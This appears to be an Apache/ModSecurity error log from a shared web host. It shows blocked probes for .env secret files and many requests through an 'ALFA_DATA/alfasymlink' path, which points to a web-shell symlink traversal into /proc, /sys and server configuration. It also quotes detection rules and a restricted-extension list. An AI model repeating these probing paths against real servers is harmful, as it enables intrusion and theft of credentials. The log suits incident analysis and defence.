[Mon Oct 26 14:03:24.702921 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at-V7MdX-waAlDqXJHtT1wAAABY"]
[Mon Oct 26 14:03:24.703148 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at-V7MdX-waAlDqXJHtT1wAAABY"]
[Mon Oct 26 14:03:24.703474 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at-V7MdX-waAlDqXJHtT1wAAABY"]
[Mon Oct 26 14:03:25.244424 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at-V7cdX-waAlDqXJHtT2AAAABY"]
[Mon Oct 26 14:03:25.244665 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at-V7cdX-waAlDqXJHtT2AAAABY"]
[Mon Oct 26 14:03:25.245104 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at-V7cdX-waAlDqXJHtT2AAAABY"]
[Mon Oct 26 14:03:25.601081 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at-V7cdX-waAlDqXJHtT2QAAABY"]
[Mon Oct 26 14:03:25.601311 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at-V7cdX-waAlDqXJHtT2QAAABY"]
[Mon Oct 26 14:03:25.601601 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at-V7cdX-waAlDqXJHtT2QAAABY"]
[Mon Oct 26 14:03:25.961111 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at-V7cdX-waAlDqXJHtT2gAAABY"]
[Mon Oct 26 14:03:25.961336 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at-V7cdX-waAlDqXJHtT2gAAABY"]
[Mon Oct 26 14:03:25.961637 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at-V7cdX-waAlDqXJHtT2gAAABY"]
[Mon Oct 26 14:03:26.195701 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at-V7sdX-waAlDqXJHtT2wAAABY"]
[Mon Oct 26 14:03:26.195966 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at-V7sdX-waAlDqXJHtT2wAAABY"]
[Mon Oct 26 14:03:26.196311 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at-V7sdX-waAlDqXJHtT2wAAABY"]
[Mon Oct 26 14:03:26.399961 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at-V7sdX-waAlDqXJHtT3AAAABY"]
[Mon Oct 26 14:03:26.400201 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at-V7sdX-waAlDqXJHtT3AAAABY"]
[Mon Oct 26 14:03:26.400520 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at-V7sdX-waAlDqXJHtT3AAAABY"]
[Mon Oct 26 14:03:27.852219 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.85.7.119:23745] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:03:40.043571 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 52.6.5.24:34849] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:03:44.131335 2026] [ssl:error] [pid 3074880:tid 3074880] (70014)End of file found: [client 54.204.12.115:51986] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:03:56.033580 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.208.146.193:55381] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:04:04.618150 2026] [security2:error] [pid 3065808:tid 3065808] [client 187.122.179.195:55974] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at-WFNBD9nokEg9_vmbNPgAAAAk"], referer: https://addurl.in/redirect.php?ref_host=thetravelpilot.com
[Mon Oct 26 14:04:04.619512 2026] [authz_core:error] [pid 3065808:tid 3065808] [client 187.122.179.195:55974] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://addurl.in/redirect.php?ref_host=thetravelpilot.com
[Mon Oct 26 14:04:07.820421 2026] [security2:error] [pid 3064918:tid 3064918] [client 107.172.76.131:55869] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-WCbOTOqUhLlGpMrXZXwAAABM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 14:04:07.820474 2026] [security2:error] [pid 3064918:tid 3064918] [client 107.172.76.131:55869] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-WCbOTOqUhLlGpMrXZXwAAABM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 14:04:15.838297 2026] [core:error] [pid 3074880:tid 3074880] (13)Permission denied: [client 35.169.119.108:19742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory3/node0/cpu0/firmware_node/subsystem/devices/device:03/physical_node/driver/new_id
[Mon Oct 26 14:04:16.602714 2026] [security2:error] [pid 3064975:tid 3064975] [client 189.75.105.112:49679] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/scrapeok2.php"] [unique_id "at-WIMdX-waAlDqXJHtT3gAAABY"], referer: https://parkeranders.com/
[Mon Oct 26 14:04:19.985914 2026] [security2:error] [pid 3065806:tid 3065806] [client 98.83.10.183:31946] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/power/"] [unique_id "at-WIw7tQS1M73WECjKPhQAAAAY"]
[Mon Oct 26 14:04:19.985975 2026] [security2:error] [pid 3065806:tid 3065806] [client 98.83.10.183:31946] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/power/"] [unique_id "at-WIw7tQS1M73WECjKPhQAAAAY"]
[Mon Oct 26 14:04:23.808779 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.221.244.28:54278] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:04:28.119423 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 34.225.243.131:2831] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:04:33.240976 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 85.208.96.210:54666] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/aio_kiocb/objects
[Mon Oct 26 14:04:39.175314 2026] [security2:error] [pid 3064975:tid 3064975] [client 186.22.56.39:42312] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/rank_checker.php"] [unique_id "at-WN8dX-waAlDqXJHtT3wAAABY"], referer: https://parkeranders.com/
[Mon Oct 26 14:04:40.758989 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 185.191.171.11:12424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAW/sanity_checks
[Mon Oct 26 14:04:55.899719 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 23.22.59.87:17948] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:04:59.875814 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.197.82.195:28525] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:05:03.851283 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 54.157.84.74:13756] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:05:11.952922 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 34.225.138.57:16320] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:05:15.808220 2026] [ssl:error] [pid 3074880:tid 3074880] (70014)End of file found: [client 98.83.177.42:33923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:05:15.808465 2026] [security2:error] [pid 3074880:tid 3074880] [client 98.83.177.42:33923] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/node0/memory1/subsystem/devices/memory14/power/runtime_active_time"] [unique_id "at-WW2eO9JevJRazuu2r8gAAAA8"]
[Mon Oct 26 14:05:15.808493 2026] [security2:error] [pid 3074880:tid 3074880] [client 98.83.177.42:33923] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/node0/memory1/subsystem/devices/memory14/power/runtime_active_time"] [unique_id "at-WW2eO9JevJRazuu2r8gAAAA8"]
[Mon Oct 26 14:05:16.715762 2026] [security2:error] [pid 3064916:tid 3064916] [client 107.172.76.131:55873] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-WUAz1n6jB6fkqe7Gl4gAAABA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 14:05:16.715858 2026] [security2:error] [pid 3064916:tid 3064916] [client 107.172.76.131:55873] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-WUAz1n6jB6fkqe7Gl4gAAABA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 14:05:19.670303 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 18.205.91.101:58247] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:05:23.723890 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 54.156.55.147:28835] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0B00:00/subsystem/drivers/thermal/bind
[Mon Oct 26 14:05:27.642805 2026] [ssl:error] [pid 3074880:tid 3074880] (70014)End of file found: [client 52.4.76.156:35043] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:05:39.415563 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.231.193.38:17136] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:05:43.357775 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 34.231.181.240:39933] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:05:48.954897 2026] [core:error] [pid 3074880:tid 3074880] (13)Permission denied: [client 185.191.171.13:35756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8/objects_partial
[Mon Oct 26 14:05:50.379025 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 85.208.96.211:23222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/order
[Mon Oct 26 14:05:55.496763 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 85.208.96.200:38312] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/aliases
[Mon Oct 26 14:05:55.629231 2026] [ssl:error] [pid 3074880:tid 3074880] (70014)End of file found: [client 34.225.24.180:55676] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:05:59.299230 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 100.29.34.97:63075] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:06:07.189979 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 54.90.8.255:53737] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:06:11.153407 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 54.156.55.147:50063] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:06:19.154997 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 44.197.76.210:37384] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:06:27.035373 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.218.35.239:52848] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:06:30.898629 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 34.225.87.80:65370] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:06:32.464539 2026] [security2:error] [pid 3074880:tid 3074880] [client 16.216.88.238:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/280_mod_proxy.conf"] [unique_id "at-WqGeO9JevJRazuu2r9wAAAA8"]
[Mon Oct 26 14:06:32.465164 2026] [security2:error] [pid 3074880:tid 3074880] [client 16.216.88.238:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/280_mod_proxy.conf"] [unique_id "at-WqGeO9JevJRazuu2r9wAAAA8"]
[Mon Oct 26 14:06:32.465471 2026] [security2:error] [pid 3074880:tid 3074880] [client 16.216.88.238:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/280_mod_proxy.conf"] [unique_id "at-WqGeO9JevJRazuu2r9wAAAA8"]
[Mon Oct 26 14:06:42.983747 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.212.205.90:22618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:06:51.056750 2026] [ssl:error] [pid 3074880:tid 3074880] (70014)End of file found: [client 54.197.178.107:21854] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:06:54.762324 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 34.196.237.236:55750] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:07:01.781018 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 185.191.171.4:31372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mbcache/red_zone
